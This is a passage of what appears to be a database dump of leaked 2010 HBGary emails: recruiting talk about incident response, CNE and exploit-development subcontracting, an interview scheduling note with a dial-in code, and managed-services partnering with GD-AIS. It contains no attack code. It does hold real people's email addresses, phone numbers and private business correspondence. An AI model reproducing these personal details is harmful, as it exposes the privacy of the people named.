place and use you for this type of work on an as needed and as available basis.&nbsp;Do you hold a clearance at all?&nbsp;Are you familiar with DARPA\'s cyber genome project? &nbsp;There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis. &nbsp;That is all development work and unclassified. &nbsp;If that work interests you we could probably use your help there too.&nbsp;Do you do or have you done Incident Response work? &nbsp;We get short term gigs like this all the time. &nbsp;I am not completely up on your full background so not sure if this is an area of expertise or interest. &nbsp;HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.&nbsp;Probably others too but this is a good start off the top of my head.&nbsp;What types of things are you most interested in working on?&nbsp;Aaron&nbsp;On Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:&nbsp;Hi Aaron,&nbsp;Yes, this is my first week post-EGS. &nbsp;I am planning on staying independent for a while and trying that out for a bit. &nbsp;I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects. &nbsp;I would be interested in hearing about what type of work you would have open to subcontracting.&nbsp;Cheers,&nbsp;-Dino&nbsp;On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:&nbsp;&nbsp;&nbsp;---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: Tue, Apr 13, 2010 at 10:43 AMSubject: UpdateTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;&nbsp;&nbsp;LinkedInAaron Barr has sent you a message.Date: 4/13/2010Subject: UpdateHi Dino,&nbsp;It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?&nbsp;AaronView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.&nbsp;© 2010, LinkedIn Corporation&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2967,'aaron_hbgary_com/2967.html'),(5672,'2010-04-26','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297004108.M769893P14101Q527.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Camille Tuutti-Winkler\" <camille@executivebiz.com>','Visibility Interview with Aaron Barr of HBGary(Group 11)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, April 29, 2010 3:00 PM-3:15 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Phone Interview Dial In Bridge Info - 800.760-3309: Code 69907775\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nWhen: Thursday, April 29, 2010 3:00 PM-3:15 PM Eastern Time (US &amp; Canada).\r\nWhere: Phone Interview Dial In Bridge Info - 800.760-3309: Code 69907775\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nAaron,\r\nSo glad we could connect and get the interview in place.&nbsp; I have attached the Dial In Bridge information above and below for your reference.&nbsp; If you should encounter any scheduling conflicts please call me directly to reschedule.&nbsp; Your interview will be\r\nwith one of our journalists&nbsp; “Camille”, and she will meet you in the call at the designated time.\r\n&nbsp;\r\nHave a great day and don’t hesitate to call with any questions.\r\n&nbsp;\r\nWhen: Thursday April 29, 2010 3:00- 3:15 PM Eastern Time (US &amp; Canada).\r\nWhere: 800 760 3309: Code 69907775\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nSincerely,\r\n&nbsp;\r\nJennifer Jordan-Harrell\r\nGroup Manager\r\n&nbsp;\r\nExecutiveBiz\r\n703-226-7016\r\njennifer@executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',10561,'aaron_hbgary_com/10561.html'),(5673,'2010-04-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004109.M3197P14101Q528.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','FW: Managed Services Support','FYI, I will be meeting with them on May 5th and having dinner that evening\r\nwith them.  They have a secure SOC in San Antonio, TX.  They provide high\r\nend services and would be looking to add our component.  For customers that\r\nwant our product but don\'t know how to use it or have their network managed,\r\nthis will be a good option.  Nadia Short runs all of AIS and reports\r\ndirectly to CEO of GD\r\n\r\n-----Original Message-----\r\nFrom: Jaeger, James A. [mailto:jim.jaeger@gd-ais.com] \r\nSent: Wednesday, April 21, 2010 11:18 AM\r\nTo: Penny Leavy; Brennan, Teresa H.; Castrejon, Tomas M.\r\nSubject: RE: Managed Services Support\r\n\r\nPenny,\r\n\r\nI apologize for the delayed response.....the past week has been intense.\r\n\r\nWe definitely want to talk to you about providing managed security services\r\nsupport for your products and customers.\r\n\r\nWould you potentially be available to meet in the Santa Clara area on the\r\nafternoon or evening of March 5th, as Nadia Short and I will be there for\r\nthe Bay Area Outlook Conference?\r\n\r\nJim\r\n\r\n\r\nJim Jaeger\r\nDirector\r\nDefense & Commercial Cyber Solutions\r\nPh: 240-294-2221\r\nCell: 443-926-1159\r\n\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy [mailto:penny@hbgary.com] \r\nSent: Tuesday, April 13, 2010 10:11 AM\r\nTo: Jaeger, James A.\r\nCc: Stern, Matthew A.\r\nSubject: Re: Managed Services Support\r\n\r\nGreat, can we perhaps discuss this.  We went on an engagement at Baker\r\nHughes and we have a couple of banks that I think want this\r\ncapability.  It would be great if we could have someone on site and\r\nwork with you guys as well.  This would really allow us to open our\r\nmarket it and get some additional customers who want this but don\'t\r\nhave people in place.  I think we could get some gov\'t customers as\r\nwell.\r\n\r\nOn Mon, Apr 12, 2010 at 9:52 PM, Jaeger, James A. \r\nwrote:\r\n> Penny,\r\n>\r\n>\r\n>\r\n> This could be a good opportunity to work together.  We have a SOC in San\r\n> Antonio that we use in support of our large commercial breach\r\n> investigations.  We are very willing to do SOC managed services,\r\n> particularly in a high end specialized services environment.  We just\r\ndon\'t\r\n> want to do the low end, commodity MSS work.\r\n>\r\n>\r\n>\r\n> Regarding Mandiant; Nadia took the issue to Jerry DeMuro, the corporate\r\nEVP\r\n> for IS&T (our IT companies).  Jerry fully agrees with our concerns and\r\nwill\r\n> stop the purchase unless it is too far down the path (i.e.; unless we\'ve\r\n> signed the contract).\r\n>\r\n>\r\n>\r\n> Jim\r\n>\r\n>\r\n>\r\n> Jim Jaeger\r\n> Director\r\n> Cyber Defense & Forensics\r\n> Ph: 240-294-2221\r\n> Cell: 443-926-1159\r\n>\r\n> From: Penny Leavy-Hoglund [mailto:penny@hbgary.com]\r\n> Sent: Monday, April 12, 2010 8:42 PM\r\n> To: Jaeger, James A.; Stern, Matthew A.\r\n> Subject: Do You Have\r\n>\r\n>\r\n>\r\n> How does GD feel about managed services?  HBGary wants to offer DDNA as a\r\n> service but we don\'t have a SOC.  We \"could\" do it like others, but I\r\nthink\r\n> it would play better with a secure SOC.  We could partner on this and I\r\n> think we could get some customers out of the gate.  Thoughts on this?\r\n>\r\n>\r\n>\r\n> Penny C. Leavy\r\n>\r\n> President\r\n>\r\n> HBGary, Inc\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> NOTICE - Any tax information or written tax advice contained herein\r\n> (including attachments) is not intended to be and cannot be used by any\r\n> taxpayer for the purpose of avoiding tax penalties that may be imposed\r\n> on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S.\r\n> Treasury regulations governing tax practice.)\r\n>\r\n>\r\n>\r\n> This message and any attached files may contain information that is\r\n> confidential and/or subject of legal privilege intended only for use by\r\nthe\r\n> intended recipient. If you are not the intended recipient or the person\r\n> responsible for   delivering the message to the intended recipient, be\r\n> advised that you have received this message in error and that any\r\n> dissemination, copying or use of this message or attachment is strictly\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n\r\n',3578,'aaron_hbgary_com/3578.html'),(5674,'2010-04-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004109.M453133P14101Q529.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Update','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood, I&#8217;d like to see us work with Agilex if we can.&nbsp; I want to\r\nmake them successful.&nbsp; Given that the lab is really uptight about malware, we\r\ncould put a box there and leave it for periodic checks.&nbsp; Did you and Greg talk\r\nabout this?&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 26, 2010 6:44 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Update\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes I did. &nbsp;That is great. &nbsp;I will definitely be\r\ntalking with him today or tomorrow.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 26, 2010, at 9:40 AM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDid you see reply from Shane Shook?&nbsp; He does web app\r\ntesting, thought he might be good for Agilex thing\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 26,\r\n2010 6:07 AM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nSubject:&nbsp;Re: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nyes. &nbsp;between our folks, Clearhat and Dino we have a\r\npretty nice shop to develop &quot;things&quot;.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure anytime today. &nbsp;I am working on my Aurora briefing\r\nfor tomorrow and the NSA presentation stuff so just parked my butt on the couch.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 26, 2010, at 9:04 AM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood things come to those who askJ&nbsp; Sorry I missed\r\nyou.&nbsp; Let&#8217;s catch up today\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 25,\r\n2010 5:18 AM\r\nTo:&nbsp;Greg Hoglund; Penny\r\nLeavy\r\nSubject:&nbsp;Fwd: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Dino A. Dai Zovi &lt;ddz@trailofbits.com&gt;\r\nDate:&nbsp;April 25, 2010\r\n2:33:20 AM EDT\r\nTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject:&nbsp;Re: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nHah, nice one. &nbsp;I would be quite interested in the unclass exploit\r\ndevelopment work. &nbsp;How about we chat on the phone about this next week?\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\nOn Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Dino,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot trying to be pushy but talented folks are hard to come\r\nby. &nbsp;I asked Chris if he would have any issues if we used your services\r\nand he said he would have no issues. &nbsp;He said something about if we could\r\nget something worthwhile out of you we were welcome to it.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJoke.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am sure you have plenty of work, but just to keep in mind.\r\n&nbsp;We have both classified and unclassified work. &nbsp;Our unclass work is\r\nmostly around incident response, VA/PT work, hopefully some DARPA work coming\r\nup next month around cyber genomes. &nbsp;We also have some exploit development\r\nwork, some of it unclass, that I could really use some high talent on.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTake care,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI don\'t hold a clearance anymore (I last held a DOE L/Secret\r\nclearance in 2003, but that has long expired). &nbsp;I have done a couple of\r\nrandom IR gigs in the past, primarily involved in fully reverse engineering\r\nhigh-level malware into accurate C pseudocode and performing rapid\r\npost-intrusion vulnerability assessments (circa 2004-2005).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn second thought, I am realizing that any work with HBGary\r\nmight fall under various clauses in my employment contract w/ Endgames. &nbsp;I\r\nwouldn\'t want to open either of us up to any legal exposure, so I should\r\nprobably refrain from any work with HBGary for the time being.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Dino\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk. &nbsp;Great.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have some ongoing work to build CNE capabilities.\r\n&nbsp;The contract we have had for a while, although we do a variety of\r\ndifferent things within it. &nbsp;We have used some consultants in the past to\r\nhelp with surges in this work. &nbsp;If this type of work interests you I would\r\ndefinitely like to put an NDA in place and use you for this type of work on an\r\nas needed and as available basis.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you hold a clearance at all?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you familiar with DARPA\'s cyber genome project?\r\n&nbsp;There were 3 Technical areas and we sub\'d to 1 and primed another related\r\nto automated malware analysis. &nbsp;That is all development work and\r\nunclassified. &nbsp;If that work interests you we could probably use your help\r\nthere too.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you do or have you done Incident Response work? &nbsp;We\r\nget short term gigs like this all the time. &nbsp;I am not completely up on\r\nyour full background so not sure if this is an area of expertise or interest.\r\n&nbsp;HBGary Federal will be working hard over the next few months to solidify\r\nour IR offerings, using HBGary products as well as partner products.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nProbably others too but this is a good start off the top of\r\nmy head.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat types of things are you most interested in working on?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes, this is my first week post-EGS. &nbsp;I am planning on\r\nstaying independent for a while and trying that out for a bit. &nbsp;I have a\r\ntraining course to prepare for BlackHat and some misc. other tasks, but may\r\nhave some time open for small projects. &nbsp;I would be interested in hearing\r\nabout what type of work you would have open to subcontracting.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Dino\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: Tue, Apr 13, 2010 at 10:43 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr has sent you a message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: 4/13/2010\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Dino,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt look like your not with EGS? What are you up to? Are you\r\ngoing to stay independent, and if so are you already booked up with work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDon\'t want to receive e-mail notifications? Adjust 